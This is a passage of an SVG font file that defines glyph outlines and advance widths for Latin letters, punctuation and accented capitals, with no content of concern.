<glyph unicode="T" horiz-adv-x="1259" d="M16 1188v246h1180v-246h-455v-1188h-270v1188h-455z" />
<glyph unicode="U" horiz-adv-x="1521" d="M100 610v822h269v-822q0 -190 99.5 -292.5t270.5 -102.5q166 0 258.5 105t92.5 290v822h268v-822q0 -156 -46 -278.5t-129.5 -201.5t-196.5 -120t-249 -41q-131 0 -245 40t-202 117.5t-139 202t-51 281.5z" />
<glyph unicode="V" horiz-adv-x="1540" d="M2 1434h303l432 -1117l434 1117h304l-596 -1440h-281z" />
<glyph unicode="W" horiz-adv-x="2230" d="M10 1434h303l338 -1035l348 1035h177l358 -1035l328 1035h303l-516 -1434h-230l-178 451l-151 452l-150 -457l-174 -446h-229z" />
<glyph unicode="X" horiz-adv-x="1443" d="M45 0v8l498 717l-484 696v13h297l359 -535l358 535h297v-13l-485 -696l499 -717v-8h-303l-366 539l-367 -539h-303z" />
<glyph unicode="Y" horiz-adv-x="1429" d="M18 1421v13h322l365 -592l380 592h326v-13l-571 -829v-592h-271v592z" />
<glyph unicode="Z" horiz-adv-x="1200" d="M16 0v156l727 1024h-708v254h1102v-127l-744 -1051h744v-256h-1121z" />
<glyph unicode="[" horiz-adv-x="638" d="M100 -219v1818h494v-221h-242v-1372h242v-225h-494z" />
<glyph unicode="\" horiz-adv-x="935" d="M-10 1569h262l682 -1737h-260z" />
<glyph unicode="]" horiz-adv-x="661" d="M16 6h242v1372h-242v221h494v-1818h-494v225z" />
<glyph unicode="^" horiz-adv-x="1210" d="M2 682v12l487 744h158l504 -742v-14h-274l-308 471l-309 -471h-258z" />
<glyph unicode="_" horiz-adv-x="985" d="M-23 -6h967v-219h-967v219z" />
<glyph unicode="`" horiz-adv-x="485" d="M-14 1421v11h295l151 -279v-12h-221z" />
<glyph unicode="a" horiz-adv-x="1251" d="M27 506q0 169 70.5 290.5t188.5 179.5q116 58 262 58h5q102 0 190.5 -44.5t130.5 -119.5l9 140h239v-1010h-235l-13 147q-40 -83 -136 -129.5t-191 -48.5h-5q-148 1 -262 59q-116 60 -184.5 182.5t-68.5 295.5zM276 506q0 -141 85 -224t214 -83q71 0 128.5 26.5t93 69.5 t54.5 98t19 112t-19 112t-54.5 98t-93 69.5t-128.5 26.5q-129 0 -214 -82t-85 -223z" />
<glyph unicode="b" horiz-adv-x="1280" d="M82 0v1432h250v-560q41 73 142.5 117.5t189.5 44.5q229 0 371.5 -137.5t142.5 -390.5q0 -162 -68.5 -283.5t-186 -183.5t-266.5 -62q-221 0 -325 162l-17 -139h-233zM348 506q0 -133 85.5 -215t207.5 -82t204.5 83.5t82.5 213.5q0 133 -82 214t-205 81q-121 0 -207 -83 t-86 -212z" />
<glyph unicode="c" horiz-adv-x="976" d="M23 504q0 131 42.5 234t116 168t169.5 98.5t208 33.5q110 0 196.5 -34.5t168.5 -114.5l-158 -166q-89 80 -203 80q-127 0 -209 -84t-82 -215q0 -139 82 -217t205 -78q137 0 221 84l168 -164q-86 -85 -180 -122.5t-209 -37.5q-111 0 -207.5 34t-170 99t-116 168t-42.5 234 z" />
<glyph unicode="d" horiz-adv-x="1265" d="M35 506q0 253 142.5 390.5t371.5 137.5q88 0 189.5 -44.5t142.5 -117.5v560h249v-1432h-233l-16 139q-104 -162 -326 -162q-228 0 -374 142.5t-146 386.5zM285 506q0 -130 82 -213.5t204 -83.5t207.5 82t85.5 215q0 129 -86 212t-207 83q-123 0 -204.5 -80.5 t-81.5 -214.5z" />
<glyph unicode="e" horiz-adv-x="1193" d="M37 512q0 233 146.5 380.5t389.5 147.5q261 0 399 -160q115 -133 116 -366q0 -47 -5 -98h-788q12 -96 92 -155.5t209 -59.5q73 0 151 26t119 68l160 -158q-76 -80 -194 -122t-240 -42q-258 0 -406.5 146.5t-148.5 392.5zM299 623h545q-12 96 -82 146t-180 50 q-104 0 -180 -50t-103 -146z" />
<glyph unicode="f" horiz-adv-x="825" d="M-25 776v219h189v68q0 98 31.5 175t85.5 124t122 71.5t146 24.5q135 0 262 -82l-92 -186q-80 53 -154 53q-68 0 -109.5 -45.5t-41.5 -134.5v-68h297v-219h-297v-776h-250v776h-189z" />
<glyph unicode="g" horiz-adv-x="1130" d="M31 -180h248q0 -96 77 -156.5t187 -60.5q111 0 183.5 58t72.5 159q0 66 -38.5 113.5t-95 68.5t-122.5 21q-237 0 -374.5 135.5t-137.5 371.5q0 153 69 271t185 179.5t258 61.5q146 0 231 -57l100 127l185 -139l-113 -144q107 -121 107 -299q0 -51 -10.5 -102 t-33.5 -103.5t-66.5 -98t-102.5 -72.5q117 -59 163 -142.5t46 -191.5q0 -206 -141.5 -328.5t-364.5 -122.5q-146 0 -262 55.5t-183 159t-67 236.5zM279 530q0 -128 75.5 -204t188.5 -76q111 0 186.5 76.5t75.5 203.5t-76 206t-186 79q-112 0 -188 -78t-76 -207z" />
<glyph unicode="h" horiz-adv-x="1189" d="M82 0v1434h250v-562q117 152 315 152q209 0 311.5 -130.5t102.5 -361.5v-532h-250v530q0 132 -62 197.5t-167 65.5q-109 0 -179.5 -80.5t-70.5 -196.5v-516h-250z" />
<glyph unicode="i" horiz-adv-x="475" d="M59 1294q0 40 16.5 71.5t42.5 48t57 24.5q16 4 31 4q16 0 32 -4q32 -8 57.5 -24.5t42 -48t16.5 -71.5t-16.5 -71.5t-42.5 -48t-57 -24t-62.5 0t-57.5 24t-42.5 48t-16.5 71.5zM82 0h250v1014h-250v-1014z" />
<glyph unicode="j" horiz-adv-x="458" d="M-231 -559q104 -68 223 -68q166 0 251 109.5t85 302.5v1229h-248v-1229q0 -90 -21 -132.5t-79 -45.5h-10q-50 0 -111 28zM57 1296q0 40 16.5 71.5t42.5 48t57 24.5q15 3 31 3t32 -3q31 -8 57 -24.5t42.5 -48t16.5 -71.5t-16.5 -71.5t-42.5 -48t-57 -24.5q-16 -3 -31.5 -3 t-30.5 3q-32 8 -58 24.5t-42.5 48t-16.5 71.5z" />
<glyph unicode="k" horiz-adv-x="1054" d="M76 0v1432h250v-828l340 406h299v-15l-412 -460l469 -517v-18h-301l-395 457v-457h-250z" />
<glyph unicode="l" horiz-adv-x="466" d="M82 0v1432h248v-1432h-248z" />
<glyph unicode="m" horiz-adv-x="1835" d="M82 0v1012h231l19 -123q37 71 111 105t155 34q99 0 179 -45t120 -143q64 101 147.5 142.5t190.5 41.5q212 0 320 -124t108 -355v-545h-250v545q0 108 -47 177t-143 69q-98 0 -158.5 -73t-60.5 -177v-541h-250v541q0 106 -54.5 180t-152.5 74q-97 0 -156 -74.5t-59 -179.5 v-541h-250z" />
<glyph unicode="n" horiz-adv-x="1208" d="M76 0v1012h223l16 -138q155 152 332 152q185 0 306.5 -132.5t121.5 -363.5v-530h-250v528q0 120 -63.5 195.5t-179.5 75.5q-113 0 -185.5 -82.5t-72.5 -200.5v-516h-248z" />
<glyph unicode="o" horiz-adv-x="1175" d="M35 504q0 145 62.5 264t182.5 190.5t277 71.5t278.5 -71.5t185.5 -190.5t64 -264q0 -146 -62 -265t-183 -190.5t-281 -71.5q-159 0 -280 71.5t-182.5 190t-61.5 265.5zM285 504q0 -79 29.5 -145t93.5 -109t151 -43q130 0 202.5 87t72.5 210q0 120 -77 209.5t-198 89.5 q-128 0 -201 -88.5t-73 -210.5z" />
<glyph unicode="p" horiz-adv-x="1280" d="M82 -422v1432h233l17 -140q55 80 144.5 121t182.5 41q152 0 271.5 -70t183.5 -190t64 -268q0 -149 -59 -268t-176 -190t-275 -71q-59 0 -118.5 12t-121.5 46t-96 86v-541h-250zM354 504q0 -121 81 -204t206 -83t206 83t81 204q0 123 -78 205t-209 82t-209 -82t-78 -205z " />
<glyph unicode="q" horiz-adv-x="1265" d="M33 504q0 148 64 268t183 190t271 70q93 0 183 -41t145 -121l16 140h233v-1432h-249v541q-34 -52 -96 -86t-121.5 -46t-118.5 -12q-158 0 -275 71t-176 190t-59 268zM283 504q0 -121 80.5 -204t205.5 -83t206 83t81 204q0 123 -78 205t-209 82t-208.5 -82t-77.5 -205z " />
<glyph unicode="r" horiz-adv-x="888" d="M82 0v1010h231l19 -117q53 85 122.5 114t161.5 29q76 0 147.5 -27t113.5 -69l-113 -217q-40 34 -80.5 49.5t-99.5 15.5q-108 0 -180 -62.5t-72 -193.5v-532h-250z" />
<glyph unicode="s" horiz-adv-x="1005" d="M27 145l123 179q52 -58 156 -99t192 -43h8q68 0 120 32q54 34 54 89q0 52 -46.5 76.5t-154.5 30.5q-62 5 -117 16t-111.5 34.5t-97.5 57t-66.5 86.5t-25.5 119q0 83 40 146.5t105 99t136 52.5t145 17q124 0 216.5 -29.5t177.5 -103.5l-140 -164q-95 90 -249 90 q-89 0 -137 -26.5t-48 -73.5q0 -98 189 -110q46 -3 84 -7.5t84 -15t82 -25.5t71.5 -40t58.5 -57t37.5 -77.5t14.5 -101.5q0 -142 -113.5 -237t-320.5 -95q-140 0 -253 37t-214 143z" />
<glyph unicode="t" horiz-adv-x="817" d="M-4 793v215h188v260l250 26v-286h279v-215h-281v-437q0 -70 35.5 -106.5t95.5 -36.5q57 0 121 31l70 -213q-100 -40 -207 -43h-20q-153 0 -245 88q-98 94 -98 280v437h-188z" />
<glyph unicode="u" horiz-adv-x="1226" d="M88 479v531h250v-529q0 -120 64 -195t180 -75q113 0 185.5 82.5t72.5 200.5v516h247v-1012h-223l-16 137q-80 -79 -159.5 -115t-182.5 -36q-186 0 -302 132.5t-116 362.5z" />
<glyph unicode="v" horiz-adv-x="1167" d="M-4 1012h272l140 -334l155 -426l154 422l139 338h272l-430 -1016h-270z" />
<glyph unicode="w" horiz-adv-x="1867" d="M61 1012h279l231 -760l220 760h219l221 -760l231 760h277l-353 -1016h-290l-105 299l-90 338l-90 -338l-104 -299h-291z" />
<glyph unicode="x" horiz-adv-x="1089" d="M8 0v6l352 506l-331 489v9h299l198 -342l199 342h299v-9l-332 -489l352 -506v-6h-299l-219 338l-219 -338h-299z" />
<glyph unicode="y" horiz-adv-x="1148" d="M-6 1010h291l153 -437l97 -284l104 278l184 443h277l-617 -1432h-274l188 438z" />
<glyph unicode="z" horiz-adv-x="935" d="M18 0v104l484 678h-447v228h809v-119l-465 -645h469v-246h-850z" />
<glyph unicode="{" horiz-adv-x="692" d="M47 588v186q37 0 64 11t42 27t23.5 40.5t11 45.5t2.5 48v287q0 200 111.5 289t333.5 49v-195q-99 26 -140.5 -10.5t-41.5 -144.5v-275v-21q0 -37 -0.5 -55.5t-4 -48t-13 -46.5t-24.5 -37t-41 -34t-61 -24q30 -8 53.5 -21t38.5 -24.5t25.5 -32.5t16 -34.5t8 -41.5 t2.5 -41.5v-47.5v-21v-275q0 -108 34.5 -137.5t147.5 -17.5v-195q-222 -40 -333.5 49t-111.5 289v287q0 27 -2.5 48t-11 45.5t-23.5 40.5t-42 27t-64 11z" />
<glyph unicode="|" horiz-adv-x="626" d="M152 -172v1712h241v-1712h-241z" />
<glyph unicode="}" horiz-adv-x="696" d="M-4 -14q113 -12 147.5 17.5t34.5 137.5v275q0 106 8 139q19 82 109 116q12 5 27 9q-30 9 -53.5 22t-38.5 24.5t-25.5 32.5t-16 34.5t-8 41.5t-2.5 42v48v21v275q0 108 -41.5 144.5t-140.5 10.5v195q222 40 333 -49t111 -289v-287q0 -35 5 -61t18.5 -53.5t44 -42.5 t76.5 -15v-186q-46 0 -76.5 -15t-44 -42.5t-18.5 -53.5t-5 -61v-287q0 -200 -111 -289t-333 -49v195z" />
<glyph unicode="~" horiz-adv-x="1060" d="M-8 539q26 93 79 153.5t112 83.5t128 23q53 0 105 -19t88 -43.5t82.5 -52t83.5 -39.5q53 -16 89 14.5t66 104.5l183 -62q-23 -71 -58.5 -126.5t-86.5 -95t-114 -47.5t-141 16q-39 13 -98.5 50.5t-112 65t-94.5 27.5q-93 0 -143 -117z" />
<glyph unicode="&#xa1;" horiz-adv-x="653" d="M123 809q0 44 18 79t47 53t64 26t70 0t64 -26t47 -53t18 -79q0 -45 -18 -80t-47 -53t-64 -26.5t-70 0t-64 26.5t-47 53t-18 80zM154 -475h268v1057h-268v-1057z" />
<glyph unicode="&#xa2;" horiz-adv-x="1120" d="M74 479q0 186 111 330t298 188v150h232v-148q157 -31 272 -143l-145 -162q-40 40 -107 65t-125 25q-119 0 -203.5 -88.5t-84.5 -216.5t84.5 -215.5t203.5 -87.5q54 0 118.5 31.5t107.5 75.5l153 -181q-123 -116 -274 -145v-143h-232v147q-182 41 -295.5 184.5 t-113.5 333.5z" />
<glyph unicode="&#xa3;" horiz-adv-x="1288" d="M90 0v256q98 24 145 101t44 188h-189v227h146q-37 146 -37 207q0 225 139 351t383 126q224 0 353.5 -105.5t139.5 -326.5h-247q-9 99 -69.5 147t-174.5 48q-132 0 -192 -65.5t-60 -170.5q0 -67 33 -211h424v-227h-377q7 -84 -24.5 -168.5t-108.5 -120.5h803v-256h-1131z " />
<glyph unicode="&#xa4;" horiz-adv-x="1107" d="M27 328l118 116q-100 198 9 402l-127 121l188 188l119 -121q94 40 200 39t197 -41l123 123l186 -188l-118 -119q47 -99 48 -204.5t-46 -199.5l116 -116l-184 -185l-121 119q-100 -40 -202 -39t-199 39l-119 -121zM315 647q0 -89 60.5 -155t156.5 -66q99 0 157.5 65.5 t58.5 155.5t-58.5 155.5t-157.5 65.5q-96 0 -156.5 -66t-60.5 -155z" />
<glyph unicode="&#xa5;" horiz-adv-x="1472" d="M18 1421v13h322l365 -592l380 592h326v-13l-471 -684h215v-198h-315v-105h315v-194h-315v-240h-271v240h-317v194h317v105h-317v198h221z" />
<glyph unicode="&#xa6;" horiz-adv-x="624" d="M164 -186v755h256v-755h-256zM164 698v756h256v-756h-256z" />
<glyph unicode="&#xa7;" horiz-adv-x="1232" d="M80 160l162 170q70 -76 155.5 -103.5t200.5 -25.5q107 0 183 25.5t79 72.5q3 42 -68.5 67t-185.5 23q-97 -2 -187 15t-167 52.5t-121.5 99.5t-40.5 149q3 60 51 119t131 85q-89 19 -130.5 84t-37.5 135q4 75 42 133.5t93.5 93t129 57t140.5 30.5t136 8q83 0 160 -12 t160 -48t133 -94l-178 -151q-53 50 -119.5 67t-165.5 17q-259 0 -264 -94q-1 -28 21.5 -49t61 -32t79.5 -16.5t83 -5.5q64 0 120.5 -5t119.5 -16.5t112 -35t88.5 -56.5t58.5 -85t13 -117q-6 -62 -55.5 -121t-120.5 -80q87 -26 132 -91.5t42 -127.5q-3 -74 -42.5 -132 t-96.5 -92.5t-131 -57t-139 -30.5t-127 -8q-356 0 -510 183zM350 713q-5 -75 123 -104.5t259.5 1t135.5 101.5q5 80 -123 113.5t-259.5 0.5t-135.5 -112z" />
<glyph unicode="&#xa8;" horiz-adv-x="1046" d="M100 1341q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-71.5 -45t-84.5 0t-72 45t-29.5 90.5zM610 1341q0 39 16 69.5t41 46.5t56 23.5t61.5 0t55.5 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-71.5 -45t-84.5 0t-72 45 t-29.5 90.5z" />
<glyph unicode="&#xa9;" horiz-adv-x="1894" d="M180 725q0 153 52 288.5t147 238t238.5 162t316.5 59.5t315 -59.5t233.5 -162.5t141 -238t49.5 -288t-49.5 -288t-141 -238t-233.5 -162.5t-315 -59.5t-316.5 59.5t-238.5 162t-147 238t-52 288.5zM397 725q0 -155 64 -280t187.5 -199t285.5 -74q122 0 222 43t165 118 t100 175.5t35 216.5t-35 216.5t-100 175.5t-165 118t-222 43q-162 0 -285.5 -74t-187.5 -199t-64 -280zM551 721q0 -184 118.5 -287.5t297.5 -103.5q165 0 297 129l-134 125q-72 -72 -163 -72q-94 0 -160 56.5t-66 152.5q0 103 65 161t161 58q90 0 161 -68l132 121 q-127 127 -293 127q-179 0 -297.5 -107t-118.5 -292z" />
<glyph unicode="&#xaa;" horiz-adv-x="849" d="M6 1104q0 166 97 257t249 89q67 0 124.5 -29t86.5 -78l4 91h187v-662h-185l-6 96q-27 -54 -89.5 -84t-125.5 -32q-153 0 -247.5 92t-94.5 260zM31 477v178h727v-178h-727zM203 1104q0 -79 48 -125.5t120 -46.5q53 0 91.5 25.5t56 63.5t17.5 83t-17.5 83t-56 63.5 t-91.5 25.5q-72 0 -120 -46.5t-48 -125.5z" />
<glyph unicode="&#xab;" horiz-adv-x="1009" d="M25 651l284 453h266l-282 -453l282 -454h-266zM385 651l285 453h266l-283 -453l283 -454h-266z" />
<glyph unicode="&#xac;" horiz-adv-x="958" d="M31 569v213h809v-473h-215v260h-594z" />
<glyph unicode="&#xad;" horiz-adv-x="937" d="M72 553v229h755v-229h-755z" />
<glyph unicode="&#xae;" horiz-adv-x="1894" d="M197 719q0 153 49.5 288t141.5 237.5t233.5 162t314.5 59.5t315 -59.5t234 -162t142 -237.5t50 -288t-50 -288t-142 -238t-234 -162.5t-315 -59.5q-139 0 -258 38.5t-206.5 108t-150 163t-93.5 205t-31 233.5zM414 719q1 -156 61 -280t180 -198.5t281 -74.5q122 0 222 43 t165 118t100 175.5t35 216.5t-35 216.5t-100 175.5t-165 118t-222 43q-161 0 -281 -74.5t-180 -198.5t-61 -280zM641 344h199v234h69l178 -234h213v43l-186 229q44 10 78.5 32.5t55 52.5t31.5 66.5t8 74t-14 74.5t-36 69.5t-58 57t-79.5 39t-100.5 14.5h-358v-752zM840 745 v173h159q41 0 65 -27t24 -59.5t-24 -59.5t-65 -27h-159z" />
<glyph unicode="&#xb0;" horiz-adv-x="622" d="M14 1219q0 122 83 191t194 69t192.5 -69t81.5 -191q0 -123 -82 -192t-194 -69q-111 0 -193 69t-82 192zM174.5 1184.5q6.5 -33.5 37.5 -57t77 -23.5t77 23.5t38 57t0 66.5t-38 56.5t-75 23.5q-46 0 -77 -23.5t-38.5 -56.5t-1 -66.5z" />
<glyph unicode="&#xb1;" horiz-adv-x="960" d="M41 39v227h838v-227h-838zM41 655v234h293v303h250v-303h295v-234h-295v-303h-250v303h-293z" />
<glyph unicode="&#xb2;" horiz-adv-x="751" d="M63 811v197q0 61 23.5 104t61 65t83 35.5t91 21.5t83 18t61 30.5t23.5 52.5q0 86 -127 86q-47 0 -80 -19.5t-34 -55.5h-180q1 76 45.5 130.5t108 78.5t136.5 24q144 0 229 -60t85 -184q0 -55 -18 -96t-47.5 -63.5t-67.5 -38.5t-77 -22.5t-77 -15t-67.5 -17t-47.5 -27.5 t-18 -47v-27h405v-170h-594z" />
<glyph unicode="&#xb3;" horiz-adv-x="800" d="M41 1030h188q22 -72 127 -72q53 0 92 20t39 58q0 40 -30 66t-99 26h-116v138h108q65 0 95.5 15.5t31.5 64.5q0 26 -28.5 52.5t-96.5 26.5q-57 0 -91.5 -15t-45.5 -58h-160q0 77 47 130t112 75t140 22t142 -24t114.5 -78.5t48.5 -130.5q0 -48 -25.5 -92t-72.5 -58 q53 -17 85 -61.5t32 -94.5q0 -53 -20.5 -96t-53 -70t-76.5 -45.5t-88 -26t-90 -7.5q-56 0 -108.5 13.5t-98.5 40t-73.5 73.5t-28.5 108z" />
<glyph unicode="&#xb4;" horiz-adv-x="489" d="M-8 1141v12l151 279h295v-11l-225 -280h-221z" />
<glyph unicode="&#xb6;" horiz-adv-x="1712" d="M23 893q0 82 22 160t68 147t111.5 121t157.5 82.5t200 30.5h1038v-254h-190v-1616h-271v1616h-379v-1616h-270v792q-117 12 -212 62.5t-154 125t-90 164.5t-31 185z" />
<glyph unicode="&#xb7;" horiz-adv-x="462" d="M35 678q0 73 48.5 114t107 41t107 -41t48.5 -114t-48.5 -114t-107 -41t-107 41t-48.5 114z" />
<glyph unicode="&#xb8;" horiz-adv-x="782" d="M68 -346l108 92q29 -39 82.5 -56t101.5 -4t60 52q11 37 -17.5 65.5t-71.5 30t-85 -23.5l-60 47l66 192h180l-33 -104q67 -2 114.5 -25t68 -57t29.5 -75t-1 -79q-15 -69 -63.5 -116.5t-113.5 -64t-134 -11t-132 41.5t-99 95z" />
<glyph unicode="&#xb9;" horiz-adv-x="581" d="M109 811v160h102v440h-94v154h274v-594h88v-160h-370z" />
<glyph unicode="&#xba;" horiz-adv-x="765" d="M31 1133v110q0 81 28.5 147t76 106t107.5 62t122.5 22t122.5 -22t107.5 -62t76 -106t28.5 -147v-110q0 -81 -28.5 -147t-76 -106t-107.5 -62t-122.5 -22t-122.5 22t-107.5 62t-76 106t-28.5 147zM207 1128q0 -45 17.5 -80t45 -53t61 -26.5t66.5 0t60.5 26.5t45 53 t17.5 80v113q0 44 -17.5 78.5t-45 52.5t-60.5 26.5t-66.5 0.5t-61 -26t-45 -52.5t-17.5 -79.5v-113z" />
<glyph unicode="&#xbb;" horiz-adv-x="942" d="M-6 197l282 454l-282 453h266l285 -453l-285 -454h-266zM354 197l283 454l-283 453h267l284 -453l-284 -454h-267z" />
<glyph unicode="&#xbc;" horiz-adv-x="1566" d="M74 686v156h102v444h-94v154h274v-598h101v-156h-383zM201 -59l821 1507h199l-824 -1507h-196zM817 287l346 465h236v-461h69v-158h-69v-133h-180v133h-394zM1004 291h215v287z" />
<glyph unicode="&#xbd;" horiz-adv-x="1658" d="M74 686v156h102v444h-94v154h274v-598h101v-156h-383zM201 -59l821 1507h199l-824 -1507h-196zM944 -8v196q0 61 23.5 104t61 65t83 36t91 22t83 18t61 30.5t23.5 52.5q0 86 -127 86q-47 0 -80.5 -20t-34.5 -56h-180q1 76 45.5 131t108.5 79t137 24q144 0 228.5 -60 t84.5 -184q0 -55 -18 -96t-47.5 -63.5t-67 -38.5t-77 -22.5t-77 -15.5t-67 -17.5t-47.5 -27.5t-18 -47v-26h405v-170h-594z" />
<glyph unicode="&#xbe;" horiz-adv-x="1730" d="M78 932h180q22 -70 123 -70q51 0 89 19.5t38 56.5q0 38 -29 63t-96 25h-113v133h105q64 0 93 14.5t30 61.5q0 26 -27.5 52t-93.5 26q-55 0 -88 -15t-43 -57h-156q0 74 46 125.5t109 72.5t134 21q73 0 138 -23t110.5 -76t46.5 -126q0 -46 -25.5 -88t-70.5 -55 q52 -16 82 -59.5t30 -90.5q0 -64 -29 -112t-76.5 -74t-100 -38.5t-109.5 -12.5q-43 0 -83.5 7.5t-79.5 25t-68 43.5t-47 65t-19 86zM342 -59l821 1507h199l-823 -1507h-197zM940 287l346 465h236v-461h69v-158h-69v-133h-181v133h-393zM1126 291h215v287z" />
<glyph unicode="&#xbf;" horiz-adv-x="1226" d="M35 45q-2 -112 42 -197.5t122 -136t175 -75.5t210 -25q111 -1 207.5 25.5t172.5 78.5t120.5 137.5t45.5 194.5l-274 2q-3 -92 -84 -147.5t-186 -55.5q-52 0 -96.5 9t-85.5 29.5t-65 60.5t-24 96q0 35 12.5 61.5t39.5 45.5t51.5 31t65.5 29t65 30q43 22 66.5 37t58 47.5 t53 70.5t32.5 101.5t15 144.5v10l-270 2l2 -10q-2 -73 -20 -118t-60 -72q-24 -16 -69.5 -38t-85 -40t-85 -49t-77 -66t-53 -90.5t-21.5 -122.5zM479 899q0 44 18 79t47 52.5t64 26t69.5 0t63.5 -26.5t46.5 -53t17.5 -80q0 -44 -17.5 -79t-46.5 -52.5t-64 -26t-70 0t-64 26.5 t-46.5 53t-17.5 80z" />
<glyph unicode="&#xc0;" d="M-47 0l643 1434h295l643 -1434h-295l-121 270h-749l-123 -270h-293zM397 1862v10h295l152 -279v-12h-221zM477 522h533l-267 611z" />
<glyph unicode="&#xc1;" d="M-47 0h293l123 270h749l121 -270h295l-643 1434h-295zM477 522l266 611l267 -611h-533zM631 1581v12l151 279h295v-10l-225 -281h-221z" />
<glyph unicode="&#xc2;" d="M-47 0l643 1434h295l643 -1434h-295l-121 270h-749l-123 -270h-293zM379 1542v12l303 283h137l303 -283v-12h-254l-118 121l-117 -121h-254zM477 522h533l-267 611z" />
<glyph unicode="&#xc3;" d="M-47 0l643 1434h295l643 -1434h-295l-121 270h-749l-123 -270h-293zM373 1649q88 221 270 180q24 -6 57.5 -21.5t58 -26.5t51.5 -16t50.5 10t42.5 52l168 -80q-44 -116 -115 -161t-149 -23q-25 7 -60 26t-60 31t-53.5 17.5t-54.5 -12.5t-49 -62zM477 522h533l-267 611z " />
<glyph unicode="&#xc4;" d="M-47 0h293l123 270h749l121 -270h295l-643 1434h-295zM342 1688q0 39 16 69.5t41 46.5t56 23.5t61.5 0t55.5 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-72 -45t-84.5 0t-71.5 45t-29.5 90.5zM477 522l266 611l267 -611h-533zM852 1688q0 39 16 69.5t41 46.5t56 23.5 t61.5 0t55.5 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-71.5 -45t-84.5 0t-72 45t-29.5 90.5z" />
<glyph unicode="&#xc5;" d="M-47 0l639 1425q-121 66 -121 209q0 116 81 182t191 66q108 0 189.5 -66t81.5 -182q0 -72 -33 -125t-88 -84l641 -1425h-295l-121 270h-749l-123 -270h-293zM477 522h533l-267 611zM620 1636.5q0 -39.5 32 -72t87 -32.5q46 0 77 21.5t37.5 52t-1.5 61.5t-38.5 52.5 t-74.5 21.5q-56 0 -87.5 -32.5t-31.5 -72z" />
<glyph unicode="&#xc6;" horiz-adv-x="1867" d="M-43 0l909 1434h885v-254h-598v-340h576v-250h-576v-330h604v-260h-858v289h-450l-183 -289h-309zM600 528h299v256l21 316z" />
<glyph unicode="&#xc7;" horiz-adv-x="1351" d="M59 707q-1 114 28 222.5t90.5 205.5t149.5 169.5t214.5 115t277.5 42.5q148 0 283 -55.5t244 -163.5l-181 -174q-69 67 -159 101t-187 34q-125 0 -222.5 -43.5t-155 -115.5t-87 -158.5t-28.5 -179.5t29 -177t84.5 -154.5t154.5 -112.5t225 -42q96 0 194 38.5t167 107.5 l184 -187q-203 -200 -508 -213l-29 -92q67 -2 114.5 -25t68 -56.5t29.5 -74.5t-1 -79q-12 -57 -49 -100.5t-86.5 -65.5t-108 -27t-113.5 8t-105 46.5t-80 82.5l108 92q29 -39 82.5 -56t101.5 -4t60 52q11 37 -17.5 65.5t-71.5 30t-85 -23.5l-60 47l64 190q-156 21 -277.5 90 t-194 170.5t-109.5 220t-38 249.5z" />
<glyph unicode="&#xc8;" horiz-adv-x="1267" d="M96 0v1434h1073v-263h-804v-329h776v-252h-776v-324h804v-266h-1073zM344 1872v10h295l152 -278v-13h-222z" />
<glyph unicode="&#xc9;" horiz-adv-x="1267" d="M96 0h1073v266h-804v324h776v252h-776v329h804v263h-1073v-1434zM524 1579v12l152 279h295v-10l-226 -281h-221z" />
<glyph unicode="&#xca;" horiz-adv-x="1267" d="M96 0v1434h1073v-263h-804v-329h776v-252h-776v-324h804v-266h-1073zM311 1579v12l303 283h138l303 -283v-12h-254l-119 121l-117 -121h-254z" />
<glyph unicode="&#xcb;" horiz-adv-x="1277" d="M96 0h1073v266h-804v324h776v252h-776v329h804v263h-1073v-1434zM258 1720q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-72 -45t-84.5 0t-71.5 45t-29.5 90.5zM768 1720q0 39 16 69.5t41 46.5t56 23.5t61.5 0t55.5 -23.5 t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-71.5 -45t-84.5 0t-72 45t-29.5 90.5z" />
<glyph unicode="&#xcc;" horiz-adv-x="524" d="M-92 1845v10h295l151 -278v-12h-221zM102 0v1434h269v-1434h-269z" />
<glyph unicode="&#xcd;" horiz-adv-x="524" d="M102 0h269v1434h-269v-1434zM117 1565v12l151 278h295v-10l-225 -280h-221z" />
<glyph unicode="&#xce;" horiz-adv-x="524" d="M-131 1552v13l303 282h137l303 -282v-13h-254l-118 121l-117 -121h-254zM102 0v1434h269v-1434h-269z" />
<glyph unicode="&#xcf;" horiz-adv-x="524" d="M-133 1696q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5t-71.5 -45t-84.5 0t-72 45t-29.5 90.5zM102 0h269v1434h-269v-1434zM305 1696q0 39 16 69.5t41 46.5t55.5 23.5t61.5 0t56 -23.5t41 -46.5t16 -69.5q0 -54 -29.5 -90.5 t-72 -45t-84.5 0t-71.5 45t-29.5 90.5z" />
<glyph unicode="&#xd0;" horiz-adv-x="1497" d="M-25 600v229h144v605h530q176 0 319 -54.5t235 -149t141 -218.5t49 -267q0 -120 -28 -229t-87.5 -203.5t-146 -164t-210 -109t-272.5 -39.5h-530v600h-144zM379 248h270q236 0 356.5 132.5t120.5 356.5q0 217 -122.5 335t-354.5 118h-270v-361h276v-229h-276v-352z" />
<glyph unicode="&#xd1;" horiz-adv-x="1515" d="M121 0v1434h219l702 -889v891h271v-1436h-168v-2l-754 969v-967h-270zM395 1661q88 216 264 176q23 -6 56 -21.5t57.5 -26t51 -15.5t49 10t40.5 51l164 -78q-42 -113 -111.5 -156.5t-146.5 -23.5q-24 7 -57.5 25.5t-57.5 30.5t-52 17t-53 -12.5t-48 -60.5z" />
<glyph unicode="&#xd2;" horiz-adv-x="1607" d="M37 707q0 115 28.5 223.5t88.5 205t145.5 169t208 115t266.5 42.5t266 -42.5t208 -115t146 -168.5t88 -204.5t27 -222.5t-29 -220t-87 -201.5t-143 -166.5t-206.5 -112.5t-269.5 -41.5t-269.5 41t-208 111t-145 164.5t-87 201.5t-27.5 222zM303 702q2 -74 18.5 -141.5 t53 -131.5t89 -111t132.5 -75t178 -28t178 28.5t132.5 76t88.5 111.5t52.5 132t17.5 142q1 75 -14.5 146.5t-52 138t-90 117t-134 80.5t-178.5 30t-179 -30.5t-135 -81t-91 -117.5t-52.5 -139t-13.5 -147zM475 1878v10h295l152 -278v-13h-222z" />
